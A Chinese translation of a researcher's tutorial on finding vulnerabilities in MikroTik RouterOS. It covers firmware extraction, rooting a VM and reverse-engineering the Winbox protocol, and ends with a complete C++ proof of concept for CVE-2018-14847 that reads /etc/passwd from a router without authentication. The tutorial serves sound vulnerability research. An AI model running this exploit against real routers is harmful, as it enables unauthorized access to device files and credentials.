安全性堪憂:手把手教你尋找MikroTik路由器漏洞
一、前言
最近,我在Slack上收到了很多條私信,這些私信都共同指向同一條推文。
為什么這與我有關(guān)呢?因?yàn)樯现苋?,我在Derbycon上發(fā)表了一次關(guān)于在MikroTik的RouterOS中尋找漏洞的演講。
現(xiàn)在,Zerodium已經(jīng)為MikroTik漏洞支付了6位數(shù)的獎(jiǎng)勵(lì),我認(rèn)為這是一個(gè)好機(jī)會(huì),可以讓我對(duì)RouterOS的漏洞進(jìn)行一次完整分析。其實(shí),任何時(shí)候都是研究RouterOS漏洞的好時(shí)機(jī),因?yàn)檫@是一個(gè)有趣的目標(biāo)。在本文的分析過程中,我發(fā)現(xiàn)了一個(gè)新的未授權(quán)漏洞。相信你也可以找到一些漏洞。
二、奠定基礎(chǔ)
現(xiàn)在,想必各位讀者已經(jīng)開始規(guī)劃獎(jiǎng)金要如何分配了。但是,還是需要冷靜下來,我們還有一部分準(zhǔn)備工作要做。2.1 獲取軟件最開始,大家其實(shí)不必急于在淘寶上購(gòu)買MikroTik路由器。因?yàn)镸ikroTik在其網(wǎng)站上就提供了RouterOS的ISO鏡像。在下載ISO之后,可以使用VirtualBox或VMWare創(chuàng)建一臺(tái)虛擬主機(jī)。
我們從ISO中,可以提取系統(tǒng)文件。
- albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
- 7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
- p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
- Processing archive: mikrotik-6.42.11.iso
- Extracting advanced-tools-6.42.11.npk
- Extracting calea-6.42.11.npk
- Extracting defpacks
- Extracting dhcp-6.42.11.npk
- Extracting dude-6.42.11.npk
- Extracting gps-6.42.11.npk
- Extracting hotspot-6.42.11.npk
- Extracting ipv6-6.42.11.npk
- Extracting isolinux
- Extracting isolinux/boot.cat
- Extracting isolinux/initrd.rgz
- Extracting isolinux/isolinux.bin
- Extracting isolinux/isolinux.cfg
- Extracting isolinux/linux
- Extracting isolinux/TRANS.TBL
- Extracting kvm-6.42.11.npk
- Extracting lcd-6.42.11.npk
- Extracting LICENSE.txt
- Extracting mpls-6.42.11.npk
- Extracting multicast-6.42.11.npk
- Extracting ntp-6.42.11.npk
- Extracting ppp-6.42.11.npk
- Extracting routing-6.42.11.npk
- Extracting security-6.42.11.npk
- Extracting system-6.42.11.npk
- Extracting TRANS.TBL
- Extracting ups-6.42.11.npk
- Extracting user-manager-6.42.11.npk
- Extracting wireless-6.42.11.npk
- Extracting [BOOT]/Bootable_NoEmulation.img
- Everything is Ok
- Folders: 1
- Files: 29
- Size: 26232176
- Compressed: 26335232
MikroTik使用他們自定義的.npk格式封裝了許多軟件。有一個(gè)工具可以對(duì)它們實(shí)現(xiàn)解封裝,但我還是更加傾向于使用binwalk。albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
- albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
- DECIMAL HEXADECIMAL DESCRIPTION
- --------------------------------------------------------------------
- 0 0x0 NPK firmware header, image size: 15616295, image name: "system", description: ""
- 4096 0x1000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
- 9822304 0x95E060 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
- 9842177 0x962E01 Unix path: /sys/devices/system/cpu
- 9846974 0x9640BE ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
- 9904147 0x972013 Unix path: /sys/devices/system/cpu
- 9928025 0x977D59 Copyright string: "Copyright 1995-2005 Mark Adler "
- 9928138 0x977DCA CRC32 polynomial table, little endian
- 9932234 0x978DCA CRC32 polynomial table, big endian
- 9958962 0x97F632 xz compressed data
- 12000822 0xB71E36 xz compressed data
- 12003148 0xB7274C xz compressed data
- 12104110 0xB8B1AE xz compressed data
- 13772462 0xD226AE xz compressed data
- 13790464 0xD26D00 xz compressed data
- 15613512 0xEE3E48 xz compressed data
- 15616031 0xEE481F Unix path: /var/pdb/system/crcbin/milo 3801732988
- albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
- total 64
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
- lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
- drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
- drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
- lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
- lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
- lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
- drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
- albinolobster@ubuntu:~/6.42.11$
2.2 打開盒子
在尋找漏洞時(shí),如果能訪問目標(biāo)的文件系統(tǒng),那么會(huì)很有幫助。如果能夠在本地運(yùn)行GDB等工具,那么效果也會(huì)不錯(cuò)。但是,RouterOS提供的Shell并不是普通的Unix Shell。它只是RouterOS命令的命令行界面。
幸運(yùn)的是,我有一個(gè)解決方案可以應(yīng)對(duì)這些問題。根據(jù)編寫rc.d腳本的S12defconf方式,我們發(fā)現(xiàn)RouterOS將會(huì)執(zhí)行存儲(chǔ)在/rw/DEFCONF文件中的任何內(nèi)容。
普通用戶無法訪問該文件,但考慮到虛擬機(jī)和Live CD的獨(dú)特性,我們可以借助它來創(chuàng)建文件,并在其中插入所需要的任何命令。要準(zhǔn)確描述這一過程,可能太過復(fù)雜,因此我制作了一個(gè)視頻,長(zhǎng)度為5分鐘左右,記錄了從虛擬機(jī)安裝到實(shí)現(xiàn)Root Telnet訪問的全過程。
視頻:https://youtu.be/OZ11gbF9fwM
通過Root Telnet訪問,現(xiàn)在就可以完全控制虛擬機(jī)。我們可以上傳更多的工具、附加到進(jìn)程、查看日志等。至此為止,我們就已經(jīng)準(zhǔn)備好了,即將開始探索路由器的攻擊面。
三、有人在聽嗎?
借助ps命令,我們可以快速確定網(wǎng)絡(luò)可以訪問到的攻擊面。
看起來,路由器會(huì)監(jiān)聽一些眾所周知的端口(HTTP、FTP、Telnet和SSH),但同樣也有一些鮮為人知的端口。端口2000上的btest是帶寬測(cè)試服務(wù)。端口8291上的mproxy是WinBox與之接口的服務(wù)。WinBox是一個(gè)在Windows上運(yùn)行的管理工具,它與Telnet、SSH和HTTP接口共享所有的功能。
四、真正的攻擊面
運(yùn)行ps命令后,我們得到的輸出結(jié)果不太樂觀。看起來,好像只有幾個(gè)二進(jìn)制文件能夠作為我們尋找漏洞的目標(biāo)。但事實(shí)并非如此。HTTP服務(wù)器和WinBox都使用了自定義的協(xié)議,我將其稱為WinboxMessage,實(shí)際代碼稱之為nv::message。該協(xié)議指定應(yīng)該將消息傳遞到哪個(gè)二進(jìn)制文件上。事實(shí)上,如果安裝了所有軟件包,大約有90多種不同的網(wǎng)絡(luò)可以借助WinboxMessage協(xié)議訪問二進(jìn)制文件。還有一種簡(jiǎn)單的方法可以找出我們要尋找漏洞的二進(jìn)制文件??梢栽诿總€(gè)包的/nova/etc/loader/*.x3文件中找到一個(gè)列表。x3是一個(gè)自定義文件格式,所以我寫了一個(gè)解析器。在運(yùn)行后,輸出結(jié)果較長(zhǎng),因此我做了一部分刪減,刪減后輸出結(jié)果如下。
- albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3
- /nova/bin/log,3
- /nova/bin/radius,5
- /nova/bin/moduler,6
- /nova/bin/user,13
- /nova/bin/resolver,14
- /nova/bin/mactel,15
- /nova/bin/undo,17
- /nova/bin/macping,18
- /nova/bin/cerm,19
- /nova/bin/cerm-worker,75
- /nova/bin/net,20
- ...
x3文件還包含每個(gè)二進(jìn)制文件的“SYS TO”標(biāo)識(shí)符。這是WinboxMessage協(xié)議用于確定應(yīng)處理消息位置的標(biāo)識(shí)符。
五、對(duì)WinboxMessage的深入分析
在清楚可以接觸到哪些二進(jìn)制文件之后,我們其實(shí)還要清楚如何與它們進(jìn)行通信。在本章中,我將介紹幾個(gè)例子。
5.1 入門
假如我想和/nova/bin/undo進(jìn)行對(duì)話,應(yīng)該從哪里開始?我們首先從一些代碼開始講起。我寫了一些C++代碼,它將完成所有WinboxMessage協(xié)議格式化和會(huì)話處理。我還創(chuàng)建了一個(gè)可以繼續(xù)構(gòu)建的程序框架,各位讀者可以繼續(xù)完善。
- std::string ip;
- std::string port;
- if (!parseCommandLine(p_argc, p_argv, ip, port))
- {
- return EXIT_FAILURE;
- }
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host"
- << std::endl;
- return EXIT_FAILURE;
- }
- return EXIT_SUCCESS;
大家可以看到,Winbox_Session類負(fù)責(zé)連接到路由器,此外它還負(fù)責(zé)身份驗(yàn)證邏輯以及發(fā)送和接收消息?,F(xiàn)在,從上面的輸出中可以看出,/nova/bin/undo有一個(gè)SYS TO,標(biāo)識(shí)符為17。為了實(shí)現(xiàn)undo,我們需要更新代碼,以創(chuàng)建消息,并設(shè)置相應(yīng)的SYS TO標(biāo)識(shí)符。
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host"
- << std::endl;
- return EXIT_FAILURE;
- }
- WinboxMessage msg;
- msg.set_to(17);
5.2 命令與控制
每條消息還需要一個(gè)命令。正如稍后我們看到的,每個(gè)命令都會(huì)調(diào)用特定的功能。所有處理程序都使用一些內(nèi)置的命令(0xfe0000–0xfe00016)和一些具有唯一實(shí)現(xiàn)的自定義命令。Pop /nova/bin/undo進(jìn)入反匯編程序,并找到nv::Looper::Looper構(gòu)造函數(shù)的唯一代碼交叉引用。
按照我標(biāo)記為undo_handler的偏移到vtable,可以看到以下內(nèi)容。
這里是undo WinboxMessage處理的vtable。有一些函數(shù)直接對(duì)應(yīng)我前面提到的內(nèi)置命令(例如:0xfe0001由nv::Handler::cmdGetPolicies負(fù)責(zé)處理)。此外,我還突出標(biāo)記了未知的命令功能,非內(nèi)置命令將在這里實(shí)現(xiàn)。由于非內(nèi)置命令通常是最有趣的,所以我們將會(huì)跳轉(zhuǎn)到cmdUnknown。我們可以看到,它會(huì)從基于命令的跳轉(zhuǎn)表開始。
看起來,命令的編號(hào)從0x80001開始。稍微查看代碼后,發(fā)現(xiàn)命令0x80002似乎有一個(gè)有用的字符串可以進(jìn)行測(cè)試。那么,我們來看看是否可以達(dá)到“無需redo”的代碼路徑。
我們需要更新框架代碼,以請(qǐng)求命令0x80002。我們還需要添加發(fā)送和接收邏輯。
- WinboxMessage msg;
- msg.set_to(17);
- msg.set_command(0x80002);
- msg.set_request_id(1);
- msg.set_reply_expected(true);
- winboxSession.send(msg);
- std::cout << "req: " << msg.serialize_to_json() << std::endl;
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- std::cout << "resp: " << msg.serialize_to_json() << std::endl;
- if (msg.has_error())
- {
- std::cerr << msg.get_error_string() << std::endl;
- return EXIT_FAILURE;
- }
- return EXIT_SUCCESS;
在編譯并執(zhí)行后,我們就得到了想要的“無需redo”。
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
- req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
- resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
- nothing to redo
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$
5.3 突破口不止一個(gè)
在前面的示例中,我們查看了undo中的主處理程序,該處理程序可以簡(jiǎn)單地解析為17。但是,大多數(shù)二進(jìn)制文件都有多個(gè)處理程序。在下面的示例中,我們將要檢查/nova/bin/mproxy的第二個(gè)處理程序。我非常喜歡這個(gè)示例,因?yàn)檫@就是CVE-2018-14847的攻擊面,并且這個(gè)示例有助于揭開這些奇怪二進(jìn)制Blob的神秘面紗:
5.4 尋找處理程序
在IDA中打開/nova/bin/mproxy,找到nv::Looper::addHandler導(dǎo)入。在6.42.11中,addHandler只有兩段代碼交叉引用。在這里,很容易識(shí)別到我們感興趣的處理程序,也就是第二個(gè)處理程序,因?yàn)樵谡{(diào)用addHandler之前,處理程序標(biāo)識(shí)符被壓入棧中。
如果我們查看將nv::Handler*加載到edi中的位置,我們就會(huì)找到處理程序的vtable的偏移量。這個(gè)結(jié)構(gòu)看起來有些熟悉:
在這里,我再次強(qiáng)調(diào)了未知的命令功能。這一處理程序的未知命令函數(shù)支持七個(gè)命令:
1、打開/var/pckg/中的文件以進(jìn)行寫入;
2、寫入打開的文件;
3、打開/var/pckg/中的文件以進(jìn)行讀取;
4、讀取打開的文件;
5、取消文件傳輸;
6、在/var/pckg/中創(chuàng)建一個(gè)目錄;
7、打開/home/web/webfig/中的文件并進(jìn)行讀取。其中,第4、5、7個(gè)命令不需要進(jìn)行身份驗(yàn)證。
5.5 打開文件
我們嘗試使用命令7,在/home/web/webfig/中打開一個(gè)文件。這是exploit-db截圖中FIRST_PAYLOAD使用的命令。我們仔細(xì)查看代碼中對(duì)命令7的處理,會(huì)發(fā)現(xiàn)它首先找到的是一個(gè)id為1的字符串。
字符串是我們要打開的文件名。我們來看一下,/home/web/webfig中的哪一個(gè)文件比較有趣呢?
事實(shí)上,我們?cè)谶@里看不出來。但在list中,包含已經(jīng)安裝的軟件包和其版本號(hào)的列表。我們將打開的文件請(qǐng)求轉(zhuǎn)換為WinboxMessage。返回到我們編寫的代碼,我們需要覆蓋set_to和set_command代碼,還需要插入add_string。因此我又重新修改了代碼。
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host"
- << std::endl;
- return EXIT_FAILURE;
- }
- WinboxMessage msg;
- msg.set_to(2,2); // mproxy, second handler
- msg.set_command(7);
- msg.add_string(1, "list"); // the file to open
- msg.set_request_id(1);
- msg.set_reply_expected(true);
- winboxSession.send(msg);
- std::cout << "req: " << msg.serialize_to_json() << std::endl;
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- std::cout << "resp: " << msg.serialize_to_json() << std::endl;
運(yùn)行此代碼后,我們應(yīng)該能夠看到如下內(nèi)容:
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
- req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
- resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$
現(xiàn)在,應(yīng)該可以看到服務(wù)器的響應(yīng)中包含u2:1818。眼熟不?
由于運(yùn)行需要較長(zhǎng)時(shí)間,因此我把讀取文件內(nèi)容的這部分工作交給讀者自行完成。在CVE-2018-14847的PoC中包含了讀者可能需要的所有提示。
六、總結(jié)
至此,我們已經(jīng)詳細(xì)說明了如何獲取RouterOS軟件并創(chuàng)建虛擬機(jī),并展示了RouterOS的攻擊面,并分析如何進(jìn)入系統(tǒng)二進(jìn)制文件。我分享了用于處理Winbox通信的代碼,并展示了詳細(xì)的使用過程。如果各位讀者還想深入研究協(xié)議的細(xì)節(jié),那么請(qǐng)閱讀我的演講內(nèi)容。至少,我們現(xiàn)在知道,MikroTik的安全性仍然是不容忽視的。附錄:CVE-2018-14847 PoC#include
- #include <cstdlib>
- #include <iostream>
- #include <boost/cstdint.hpp>
- #include <boost/program_options.hpp>
- #include <boost/algorithm/string.hpp>
- #include "winbox_session.hpp"
- #include "winbox_message.hpp"
- namespace
- {
- const char s_version[] = "CVE-2018-14847 PoC Derbycon 2018 release";
- bool parseCommandLine(int p_argCount, const char* p_argArray[],
- std::string& p_ip, std::string& p_port)
- {
- boost::program_options::options_description description("options");
- description.add_options()
- ("help,h", "A list of command line options")
- ("version,v", "Display version information")
- ("port,p", boost::program_options::value<std::string>(), "The port to connect to")
- ("ip,i", boost::program_options::value<std::string>(), "The ip to connect to");
- boost::program_options::variables_map argv_map;
- try
- {
- boost::program_options::store(
- boost::program_options::parse_command_line(
- p_argCount, p_argArray, description), argv_map);
- }
- catch (const std::exception& e)
- {
- std::cerr << e.what() << std::endl;
- std::cerr << description << std::endl;
- return false;
- }
- boost::program_options::notify(argv_map);
- if (argv_map.empty() || argv_map.count("help"))
- {
- std::cerr << description << std::endl;
- return false;
- }
- if (argv_map.count("version"))
- {
- std::cerr << "Version: " << ::s_version << std::endl;
- return false;
- }
- if (argv_map.count("ip") && argv_map.count("port"))
- {
- p_ip.assign(argv_map["ip"].as<std::string>());
- p_port.assign(argv_map["port"].as<std::string>());
- return true;
- }
- else
- {
- std::cout << description << std::endl;
- }
- return false;
- }
- }
- int main(int p_argc, const char** p_argv)
- {
- std::string ip;
- std::string port;
- if (!parseCommandLine(p_argc, p_argv, ip, port))
- {
- return EXIT_FAILURE;
- }
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host" << std::endl;
- return EXIT_FAILURE;
- }
- WinboxMessage msg;
- msg.set_to(2, 2);
- msg.set_command(7);
- msg.set_request_id(1);
- msg.set_reply_expected(true);
- msg.add_string(1, "//./.././.././../etc/passwd");
- winboxSession.send(msg);
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- boost::uint32_t sessionID = msg.get_session_id();
- boost::uint16_t file_size = msg.get_u32(2);
- if (file_size == 0)
- {
- std::cout << "File size is 0" << std::endl;
- return EXIT_FAILURE;
- }
- msg.reset();
- msg.set_to(2, 2);
- msg.set_command(4);
- msg.set_request_id(2);
- msg.set_reply_expected(true);
- msg.set_session_id(sessionID);
- msg.add_u32(2, file_size);
- winboxSession.send(msg);
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- std::string raw_payload(msg.get_raw(0x03));
- std::cout << std::endl << "=== File Contents (size: " << raw_payload.size() << ") ===" << std::endl;
- for (std::size_t i = 0; i < raw_payload.size(); i++)
- {
- std::cerr << raw_payload[i];
- }
- std::cerr << std::endl;
- return EXIT_SUCCESS;
- }